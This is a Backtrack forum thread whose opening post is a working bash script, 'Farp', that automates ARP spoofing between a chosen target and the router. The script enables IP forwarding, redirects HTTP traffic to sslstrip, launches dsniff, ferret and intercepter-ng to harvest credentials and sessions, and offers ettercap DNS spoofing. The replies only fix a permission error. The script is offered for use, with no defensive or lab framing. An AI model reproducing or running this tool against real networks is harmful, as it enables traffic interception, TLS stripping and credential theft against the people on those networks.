Results 1 to 5 of 5

Thread: Farp, The fast Arp and dns tool

  1. #1
    Just burned their ISO
    Join Date
    Dec 2012
    Posts
    2

    Cool Farp, The fast Arp and dns tool

    Code:
    #!/bin/bash
    
    #this is Farp 1.2
    #you have to have sslstrip installed
    #also this will only work on Backtrack 5 r3 possibly other r's of 5
    #you can save this text to a file called farp and chmod +x farp
    #please launch with this command for everything to look right (hopefully):
    #gnome-terminal --geometry=78x6+620+630 -e /where/you/put/farp
    IPNUMF=$(ifconfig | grep Bcast)                                 
        IPNUM=${IPNUMF:20:14}                                                               ###define the ip address
    #echo $IPNUM
                                                                        
    DECCOUNT="0"
    CHARPLACE="0"
    DECPLACE="1"
    
    while [ $DECCOUNT != "3" ]                                                              ###define the last decimal place
    do                                     
        CHARPLACE=$(expr $CHARPLACE + 1)
        DECPLACE=$(expr $DECPLACE + 1)
        IPCHAR=${IPNUM:$CHARPLACE:1}                                                        ###this is the char by char scan code
        
        if [ $IPCHAR = "." ]                                                                ###define the decimal places
            then
                DECCOUNT=$(expr $DECCOUNT + 1)
        fi
    done
    ENET=${IPNUM:0:$DECPLACE}                                                               ###define the numbers up to the last decimal          
    #echo "your network is: $ENET"
    NODENUM=${IPNUM:$CHARPLACE:3}                                                           ###define the numbers after last decimal
    #echo "your node is: $NODENUM"
    #NICF=$(/pentest/sniffers/intercepter-ng/intercepter_linux -h | grep "IP2" -B 2)
    #echo $NICF
    #NIC=${NICF:0:6}   
    NICF=$(ifconfig | grep Bcast -B 1)                                                      ###define the connected interface
    NIC=${NICF:0:8}
    #echo $NIC  
                                               
    AROUTR=$(route -n | grep $NIC)
    NODER=$(expr $DECPLACE + 3)
    ROUTRF=${AROUTR:16:$NODER}
    ROUTR=${ROUTRF:$DECPLACE:3}
    ROUTR=$(expr $ROUTR + 1)
    ROUTR=$(expr $ROUTR - 1)
    ROUTR=$ENET$ROUTR                                                                       ###define the router ip
    
    INTRCF=$(/pentest/sniffers/intercepter-ng/intercepter_linux -h | grep "IP2" -B 3)
    INTRC=${INTRCF:10:2}                                                                    ###define intercepter interface number 
    
    
    trap trapeze 2
    
    displayr (){
                    
                    clear
    echo """
      ###############################
     #        Farp V 1.2             #
     #  Ultra fast ARP & DNS Spoofer #
     #        by BadAcid             #
      ############################### """
    
                    #if [ $SSLDO = "y" ]
                    #    then
                        xterm -geometry 71x05+600+400 -e "sslstrip -f -k" &
                    #fi
                     xterm -geometry 100x3+0+640 -e "arpspoof -i $NIC -t $TARG $ROUTR" &
                     xterm -geometry 100x3+0+700 -e "arpspoof -i $NIC -t $ROUTR $TARG" &
                     xterm -geometry 50x5+600+500 -e "dsniff -i $NIC" &
                     xterm -geometry 220x21+0+320 -e "/pentest/sniffers/hamster/ferret -i $NIC" &
                    gnome-terminal --geometry 190x18+0+0 -e "/pentest/sniffers/intercepter-ng/intercepter_linux $INTRC 3" &
                    sleep 2
                    clear
                    }
    
    dnsspoofr (){
                    echo "[*] DNS SPOOFING TIME £-P"
                    read -p " [>] TARGET IP/RANGE: $ENET" TARGR
                    TARG=$ENET$TARGR
                    ettercap -T -q -i $NIC -P dns_spoof -M arp /$ROUTR/ /$TARG/
                    }
    
    trapeze (){                                                                             ###exit function
                    clear
                     xterm -geometry 100x3+0+640 -e "arpspoof -i $NIC -t 0.0.0.0 $TARG" &
                     xterm -geometry 100x3+0+700 -e "arpspoof -i $NIC -t 0.0.0.0 $ROUTR" &
                    sleep 0.5
                    killall dsniff
                    killall urlsnarf
                    killall arpspoof
                    killall sslstrip
                    killall ferret
                    killall intercepter_linux
                    echo 0 > /proc/sys/net/ipv4/ip_forward
                    clear
                    echo """
      ###############################
     #        Farp V 1.2             #
     #  Ultra fast ARP & DNS Spoofer #
     #        by BadAcid             #
      #####[*] Reseting ARP tables... """
                    iptables --flush
                    iptables --table nat --flush
                    iptables --delete-chain
                    iptables --table nat --delete-chain
                    sleep 3
                    clear
                    echo "[*] ARP tables restored"
                    echo "[*] All systems have been shut down." 
                    echo "[*] Press Alt+f4 to clear windows, Goodbye!"
                    }
    
                echo 1 > /proc/sys/net/ipv4/ip_forward
    
            #    iptables --flush
            #    iptables --table nat --flush
            #    iptables --delete-chain
            #    iptables -P FORWARD ACCEPT
            #    iptables --table nat --delete-chain
            #    iptables -t nat -A POSTROUTING -o $NIC -j MASQUERADE
            #    echo "[*] IP forwarding enabled"
    
    #read -p " [>] Do you want to enable sslsrtip [Y/n]: " SSLSTP
            #if [ $SSLSTP = "n" ]
            #then
            #SSLDO="n"
            #else
                SSLDO="y"
                iptables --flush
                iptables --table nat --flush
                iptables --delete-chain
                iptables -P FORWARD ACCEPT
                iptables --table nat --delete-chain
                iptables -t nat -A POSTROUTING -o $NIC -j MASQUERADE
                iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
                
            #    echo "[*] Sslstrip ready..."
                
            # fi
    echo
          
          read -p " [>] TARGET IP: $ENET" TARGR                                                               #### <<user input needed to attack
                TARG=$ENET$TARGR
                #ping -c 1 $TARG
                clear
                    displayr
                   
    while [ true ]
    do
    MOR="y"
        if [ $MOR = "y" ]
            then         
                echo " [>] press CTRL+C to exit" 
                echo ' [>] press "d" and then ENTER for DNS spoofing' 
                echo ' [>] press "k" and then ENTER to restore ARP tables'        
                read -p " [>] TARGET IP: $ENET" TARGF                                                               #### <<user input needed to attack
                    if [ $TARGF -z ]
                        then
                        clear
                        break
                    elif [ $TARGF = "k" ]
                        then
                            clear
                            echo "[*] Reseting ARP tables..."
                            killall arpspoof
                            sleep 3
                            clear
                            echo "[*] ARP tables restored"
                    elif [ $TARGF = "d" ]
                        then
                            clear
                            dnsspoofr
                            END="1"
                        break
                            #dnsspoof -f /root/dnsspoof host $TARG1 and udp port 53
                
                    elif [ $TARGF = "D" ]
                        then
                            clear
                            dnsspoofr
                            END="1"
                           break
                               #ettercap -T -q -i $NIC -P dns_spoof -M arp /$TARG1/ /$ROUTR/
                            #dnsspoof -f /root/dnsspoof host $TARG1 and udp port 53
                    else
                    clear
                        TARG=$ENET$TARGF
                    echo
                    echo
                    clear
                    
                         xterm -geometry 100x3+0+640 -e "arpspoof -i $NIC -t $ROUTR $TARG" &
                         xterm -geometry 100x3+0+700 -e "arpspoof -i $NIC -t $TARG $ROUTR" &
                        echo "[*] ATTACKING $TARG"    
                fi
        fi
    done
    
    if [ $END != "1" ]
        then
            trapeze
    fi
    Last edited by sickness; 12-22-2012 at 04:33 PM.

  2. #2
    Administrator sickness's Avatar
    Join Date
    Jan 2010
    Location
    Behind the screen.
    Posts
    2,921

    Default Re: Farp, The fast Arp and dns tool

    I would recommend you use CODE tags to separate the code from the actual post and also add a small description about what the script does and it's features.
    Back|track giving machine guns to monkeys since 2007 !

    Do not read the Wiki, most your questions will not be answered there !
    Do not take a look at the: Forum Rules !

  3. #3
    Just burned his ISO FettMaster's Avatar
    Join Date
    Jan 2011
    Posts
    8

    Default Respuesta: Farp, The fast Arp and dns tool

    Hi, how works?

    I run the script and i got: ./farp.sh: line 47: /pentest/sniffers/intercepter-ng/intercepter_linux: Permission denied

    Thanks

  4. #4
    Good friend of the forums zimmaro's Avatar
    Join Date
    Mar 2010
    Location
    milano
    Posts
    407

    Default Re: Respuesta: Farp, The fast Arp and dns tool

    Quote Originally Posted by FettMaster View Post
    Hi, how works?

    I run the script and i got: ./farp.sh: line 47: /pentest/sniffers/intercepter-ng/intercepter_linux: Permission denied

    Thanks
    chmod +x /pentest/sniffers/intercepter-ng/intercepter_linux

  5. #5
    Member longjidin's Avatar
    Join Date
    Feb 2010
    Location
    Kg Lengkong to Bukit Lada
    Posts
    93

    Default Re: Farp, The fast Arp and dns tool

    ermmmm not try it yet
    Happy hunting!!

Similar Threads

  1. sectool : Tool for Security Audit Tool and IDS
    By firebits in forum Tool Requests
    Replies: 3
    Last Post: 01-27-2011, 11:23 AM
  2. Fast-Track <-> Accediendo a un sistemas con Fast-Track
    By šĜrτĦacK in forum BT Videos - ES
    Replies: 1
    Last Post: 06-26-2010, 05:57 AM
  3. Need help...fast
    By browneyedbandit in forum OLD Newbie Area
    Replies: 11
    Last Post: 12-23-2009, 06:49 PM
  4. Tool request: NSAT (network security analysis tool)
    By williamc in forum OLD BT3beta General
    Replies: 10
    Last Post: 06-03-2008, 04:33 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •